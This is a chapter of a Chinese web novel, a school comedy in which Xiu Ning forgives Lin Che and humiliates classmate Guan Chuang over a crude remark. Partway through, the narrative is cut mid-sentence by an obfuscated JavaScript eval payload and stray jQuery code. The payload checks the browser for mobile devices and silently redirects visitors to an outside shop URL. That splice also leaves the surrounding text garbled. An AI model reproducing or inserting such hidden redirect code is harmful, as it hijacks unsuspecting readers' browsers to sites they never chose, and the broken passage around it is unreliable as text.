修宁没想到她会这样说,顿了顿才问她,“为什么道歉?”
问出这句话时她一阵恍惚,关闯也说要给温彻道歉,林澈又跑来找她道歉,今天是什么世界道歉日吗?
林澈抿抿唇,她承认自己确实是冲着温彻来的,但她也确实想和修宁做朋友。
修宁身上有很多她欣赏的东西,与其说是喜欢,不如说她希望自己成为像修宁一样的人。
也许这样不需她主动,温彻也自会想要和她做朋友。
正如她新买的那本笔记本扉页印着的话:你若盛开,清风自来。
林澈想。
“我、我其实中午叫你出来就是因为听说……温彻,他在操场上打球,”也不知怎么,林澈连叫出温彻的名字都觉得烫嘴,她尽量小声地说,“我想去看看温……去看看他,想和他说几句话,可我自己又不敢,我知道你们是亲戚,所以就想你陪我一起。”
“对不起,我不应该在太阳那么大的时候拉着你走那么久,完全不顾及你的感受。”她脸红得快要滴出血来。
修宁原本是很生气的。
时间是宝贵的东西,她愿意浪费在她身上不是因为她时间多,而是因为她拿林澈当朋友。
可这份“愿意”丝毫没有被别人当回事。
她真的很生气。
可林澈来道歉了,修宁忽然觉得,其实也不是什么大事,她擅长物尽其用也说明她为人聪明啊,有什么不好的。
修宁犹豫一瞬,轻声说,“算了,没关系。”
林澈这才抬起头,目光灼灼地看着她,“那、那我们还算朋友吗?”
“算吧。”修宁想了想,补充道,“而且我生气不是因为你在大热天里拉着我走那么久。是你告诉我想让我给你做导游,所以走多久、多远、多热都是我自己愿意的,因为我拿你当朋友。我生气的是你隐藏自己的目的不告诉我,我在给你讲附中历史的时候你一个字都没听进去,你根本就不感兴趣,这让我觉得我像个傻子。但是林澈,你真觉得我傻吗?”
修宁没有刻意放低嗓音,声音不大不小。
温彻懒散地跨坐在自行车上,闻言认可的点点头。
傻。
确实傻。
林澈局促地垂下头,水泥路上的沙砾逐渐模糊。
她小声地嘟囔,“对不起,我不是故意的。”
修宁看她那泫然欲泣的模样,默了默。
“算了。如果你想的话,我们还是朋友。但别再和我耍这些小聪明了。”修宁轻轻说,“我回家了,再见。”
林澈站在原地,她想说明天见,但她说不出来,怕一张口就变成了哭腔。
最后只轻轻点了点头。
-
隔天午休,林澈没有再出现在一班门口。
修宁想了想发现自己似乎并不是很在意,她对和什么人做朋友这件事并不强求,可能是因为林澈本来也不是最合她心意的那个,也可能是因为她身边已经有温彻这个朋友了,友情上的需求已经有了足够稳定的安全感。
午饭时间,修宁嫌食堂乌泱泱的人像蝗虫,非要拉着温彻往校外走。
“我好久都没吃麻辣烫了,咱们去吃麻辣烫吧,”修宁边走边说,“我每次进食堂都觉得像是进了灾区,久旱无米,好心的员外开粮仓发粥,难民们蜂拥而至。”
温彻哼笑,“那你是什么,去隔壁村蹭粮的难民?”
修宁拨拨头发,神气道,“你见过这么才貌双全的难民吗?”
“……”
温彻摇摇头,“确实,难民没有你这种气质。”
嘿。
彻爷今天会说人话了?
修宁稀奇的看着他。
紧接着就听见温彻非常现实主义的分析,“难民是没法把脸皮吃这么厚的。”
“温彻!”
修宁大怒。
“是我。”温彻揣着口袋闲闲地应了声,拉开店门往里走。
修宁跟在身后,又对着他的背影来了套组合拳。
多年实战,这套组合拳已经快要成为超越嫁衣神功的存在了,登上武林盟主之位简直指日可待。
修宁想。
“靠,这豆皮咋到我这就剩三根了,江允迪你大爷!”
“谁让你走得慢,你等我吃完拉出来给你吧。”
“……你恶不恶心?”
“你还有脸吃豆皮?彻爷都没请来,还能干点啥?”
“我靠,有能耐你请啊,谁捅的篓子心里没数?”
“捅什么篓子了?我不就说修宁比片里的女的好看——”关闯在蔬菜区大声反驳着,正巧陈清瑞从里间出来,刚拿起菜筐便看到门口进来的人,紧接着一个空筐便拍在关闯脸上,他吃痛的大骂,“你大爷的陈清瑞,瞎了吗??”
“别废话!”陈清瑞冲他使眼色,随即朝门口进来的人扬眉,“来了彻爷!”
江允迪也注意到温彻,赶紧大声打了个招呼,像是酒店礼宾一样夸张。
温彻目光扫过两个人,“嗯”了声算是回应。
这时关闯终于反应过来,僵硬的回头,无意识骂了句脏话。
他也不知道温彻什么时候出现在身后的,赶紧趁大佬没发怒前先解释,“我不是那个意思,我是说我是在夸修宁,没有下你面子的意思,我——”
“你就是关闯?”
清泠泠的女声响起,沉静又带着审视意味。
这时他们才看到,温彻身后跟着的短发女生,莹白的脸,葡萄般的眼睛和小巧的嘴,正揣着口袋慢步走近。
只听这么几句修宁便已经明白过来,原来温彻发火是因为他们议论自己。
片儿里的女的。
修宁判断了一下这个词,没觉得被冒犯。
她善解人意的想,可能基于他的语文水平,再怎么夸也只能夸出这种匮乏的词汇。
这个关闯,平头,高个子,略有些驼背,不丑也不好看,修宁打量着他,贴给他一个群演等级的标签。
她对这个人不感兴趣。
然而她的举动放在关闯,那完全是漂亮妹妹一眨不眨盯着他看的伟大偶像剧剧情,他有些不好意思,清清嗓子沉着声音问:“你听过我?”
陈清瑞斜他一眼。
江允迪面露难色。
还搞气泡音,真恶心。
修宁没回答他,继续问:“你夸我什么了?”
“……”
光闯不好意思地笑。
这是一个修宁熟悉的笑容。
修宁记得,初中时有一段时间是男生们性好奇的高发时期,男生们时常凑在一起嬉皮笑脸看一些小影片,把自己看得满脸通红小心翼翼的。
修宁好奇心作祟时也悄悄瞥见过小影片的内容。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767777|209788||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
结果大失所望。
她真搞不懂那些男的在激动什么,全世界所有男人所有女人都是一样的器官,中医人体模型没看过吗?生物也没学过吗?
到底是什么东西令人激动,害得她白好奇一场。
不过男人嘛,有一些别人不理解的行为很正常,虽然她不尊重不理解,但也实在没时间质疑。
她觉得小电影的内容可以概括为,两沓子雪白雪白的肥猪肉被扭成了麻花。
光闯的笑容和看猪肉麻花的初中男生的笑容一模一样。
修宁替他回答,那语气平静又正经,“我比片儿里的女的好看?”
光闯一噎。
这话虽然没错,但怎么能大庭广众的说出来。
他多少也是有点廉耻心的,何况此刻麻辣烫老板娘已经用一些怪异的目光看向他。
最重要的是,眼前这么个像仙女一样的小姑娘,就这么一身清正理所当然的问出这句话。
总感觉哪里说不出的恐怖。
温彻看着修宁面无表情的侧脸,原本躁动的火气平息不少。
他忽然觉得稀奇,“片儿里”这个词从修宁嘴里说出来,怎么跟动画片似的。
他有点怀疑,她不会觉得他们真的在说动画片吧。
他的怀疑很快得到解答,修宁摸索着下巴将人从头到脚仔细看了个遍,看到关闯已经有些局促时才再次开口,“谢谢你。但我觉得,你不如片儿里的男的。”
“……”
修宁水汪汪的大眼睛望着光闯,声音细细软软的,“我这样说你会生气吗?”
“啊,”光闯尴尬地摸了摸鼻子,“不会,怎么会呢。”
“那就好,”修宁走近了些,故作神秘却没有压低声音,“你别不信,这个东西从鼻子啊、手指啊都是可以看出来大小的。你要是实在介意的话,”她眨巴着无辜的大眼睛认真建议,“可以去开点中药,记得要在饭后喝,中药治这个是很好的,我家门口就有专门治这个的中医,我们小区不孕不育的叔叔都被治好了,很厉害的。”
“……”
不孕不育。
不孕。
不育。
光闯觉得自己的脸已经完全僵住了,不孕不育四个字像是大山一样压得他脑仁发麻,他看着女生善解人意的面孔,嘴唇都有些发抖。
这比班主任让他在班级门口罚站丢脸的多,简直是奇耻大辱。
修宁却似无所觉,安抚般拍拍他的肩膀,“没事的,早治疗早痊愈,别放在心上。”
这下麻辣烫老板娘的眼神已经从怪异转向同情了。
陈清瑞的脸已经涨成猪肝色,立马背过身去装菜,肩膀止不住地微微抖动。
江允迪已经夹完菜,死死咬住嘴唇,那模样已经是憋笑到痛苦的程度了,他不敢在此久留,赶紧去前面结账。
温彻朝里屋象征性地望了一眼,“人太多了,要不换一家吧,”他拉过修宁,故作抱歉地对关闯说,“别介意啊,她说话比较直,但是——”
他重重拍了拍关闯的肩,欲言又止的样子。
关闯看出来了。
他是想说,祝你早日康复。
“走吧走吧,那就去吃石锅拌饭吧,我快饿死了。”
修宁脚步轻快地出了门。
温彻看着她活泼的身影,忽然开始同情关闯。